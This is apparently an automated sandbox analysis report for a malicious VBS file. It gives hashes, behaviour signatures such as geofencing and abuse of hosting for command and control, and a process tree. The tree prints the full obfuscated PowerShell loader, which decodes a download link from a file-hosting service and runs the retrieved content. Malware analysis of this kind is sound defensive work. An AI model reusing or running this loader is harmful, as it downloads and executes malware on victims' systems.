Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/04/2024, 01:16

General

  • Target

    27b8abaa4457130d3435ae7db4ae8049c48c50a700a535029ce1f8c621877579.vbs

  • Size

    210KB

  • MD5

    4a6be1b6607a80a583ff05c2ed8908ef

  • SHA1

    5073ceb6220c10c872b58d433c0d46994353af4e

  • SHA256

    27b8abaa4457130d3435ae7db4ae8049c48c50a700a535029ce1f8c621877579

  • SHA512

    25a9df574bf012aa79f9787736ed65eb3cfc3976e5a18137611615a7a99fb2a0614f98086260e85b880d932b46ffea1bc905a8d2cc2fac049eafb4040d8f817f

  • SSDEEP

    6144:lYBgIjQvrMbWSR4WHUJJs9E87Fy4lZrUChpqKmjum4QlNVrDjXR46cCPCRJf6q6I:e2dOUB6

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\27b8abaa4457130d3435ae7db4ae8049c48c50a700a535029ce1f8c621877579.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2108
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Kindbakke = 1;$Unwebbed='Substrin';$Unwebbed+='g';Function Snese($Heraldically63){$Skdskindets=$Heraldically63.Length-$Kindbakke;For($Smand=5; $Smand -lt $Skdskindets; $Smand+=(6)){$Septangled+=$Heraldically63.$Unwebbed.Invoke($Smand, $Kindbakke);}$Septangled;}function Begreberne($Mellemdistancevaabnene){. ($Heterochromosome) ($Mellemdistancevaabnene);}$Bonteboks=Snese 'SamleMKnojeo Outsz .kbniHjfrelTa.stlBlemoaUhums/Tol g5 Kla,.Brink0Inter Hears( enatW.odstiDiglonBevg,dme ico Ret w farvsPosix Tale NIstniT vers Pa do1 Aroi0Squim.Count0Jn,tb;Lappe VuggeW.eforiEmmysnHippi6D.vot4tre,a;.tati Scorpx Lgeh6D.skb4.nnov;sluta fotoarGenevvOphre:Brovt1So,en2Despo1Artik.Strgk0Fortl)unp,o uprisGTred.eSprigcEye.akStedso Appe/unl.w2Iri i0M.dic1 p.ys0 s,ri0 ,aml1Alkoh0 Tewe1Asmal ReissF,olkli envir UndeeTrithfLea,eo StroxPlica/ form1Bolds2 ,omi1Oxymo.Futur0Almin ';$diarrheal=Snese 'BlokkUFinhesUlmede ErasrMalp,-KnudiADcapog Rub.eModhanBynavtNaive ';$Independentism=Snese 'SoundhLo.est ,asitPolyspIngens,arss:Stedb/Ped i/TrilodGrandrForlfi.tromvvi,eoeSkoli. En,rgArthro Spr,o ForegAmli lPsy heRekin.Paysac Trado SprimSelvb/UbehauBevidc Bitt?CuddleCoalixKunorpFr.heoPalaerAl umtUnder=ShelldBabasoDec,mwStemnnTiletlRebsloFili aPapi.dSwidd& ,pheiB.spedC.toq= Form1KalaswTargeJAcor.iFlok uSheoaGCrammbCosie3Svrddr A roTLuksuFChar.Mpain,vLactej,elepLFrytlZTeleg3WolfldMorroPSn rr0Andr.ELegevkEpiglmMinutO Xerf2Pronec ark,xAfspn5Dagobkwinds8Begra6 Skov_.steoeUnder ';$Ndtrftigst=Snese 'Dknin>.ramm ';$Heterochromosome=Snese 'Arbeji DemoeSmokoxMaron ';$Forlsendes = Snese 'Breadea.tiscIndkrhAbo noG nne Sp.yn% H,nparelsep eetp tuddSli eaProtet supeaOktav%Bered\kadavTLidk.iInkasl OptokGif bmForpupDdnine FisslcontasMedene Akse. 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Ti fCNumisoKlovnn V.luvChowee lerkrOvul,tIn,ia]Ateli: Nirl:ProduFSpecirDisproTekstmCircuB Eva adrjhesbevgee Radi6Radio4AgoraSSvecit BeserImproiTomiun.agsigThron(Inge.$Kam.kc,npreiGa,nisSygdotTa pov Afsga AlareDan.ynSal,s)Misdi ');Begreberne (Snese 'saddu$ Kam.gFunctlCountoAssimbVa,lea Ordkl Bour:veranO ObjedFlyveoO.erfnBrletthaandelinjexUdforeGald sForskiBeaugsSu,ti Mon t=bivir Vi,ti[CooniSChrisyFortnsUtilitTid.feSkuddmC ntr.BlockTF,dboefanatxAp.titDomes.O,rusE WyannTotalcBolsjoAnmrkdfrgeliBesudnToolmgVddel]Uddat:preaf:Ba daATamonSg,dsfCb mbyIEnro.I Vide.OpstiGboeg,e ForutGuld,SActint,fbinrCo.muiBar en onisgtrans(Na re$CelatSSamlet h ndiFrdigkBy,gelCarumaSpinsgFladlnCrespepalisrSk ann ,urdeUddis)Robep ');Begreberne (Snese 'manif$.artig Ma,hlNonmeoCaptibSly,gaFl.cclMiner:VasstH ZincuScytomAnticmUnstueMegaltUncom= Ca d$EpibaOAcierdB,rdeoOblatnSorbotExcomeni,raxObjeceTrolds Mi,diIridostrkga.PallisbenziuNeuryb .ommsToyfut Antir almai Us enMaanegSerab(L ndb3Indla2Photo4Veder1Cepha4Tiles2udenr, Konf2Pound9Oegep2Hunde9 nder4Unmis) Gyro ');Begreberne $Hummet;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4788
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tilkmpelse.Owe && echo $"
        3⤵
          PID:3372

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kwkoacvi.ct5.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4788-2-0x0000010C4B800000-0x0000010C4B822000-memory.dmp

      Filesize

      136KB

    • memory/4788-12-0x00007FFC72C90000-0x00007FFC73751000-memory.dmp

      Filesize

      10.8MB

    • memory/4788-13-0x0000010C49680000-0x0000010C49690000-memory.dmp

      Filesize

      64KB

    • memory/4788-14-0x0000010C49680000-0x0000010C49690000-memory.dmp

      Filesize

      64KB

    • memory/4788-17-0x0000010C49680000-0x0000010C49690000-memory.dmp

      Filesize

      64KB

    • memory/4788-20-0x00007FFC72C90000-0x00007FFC73751000-memory.dmp

      Filesize

      10.8MB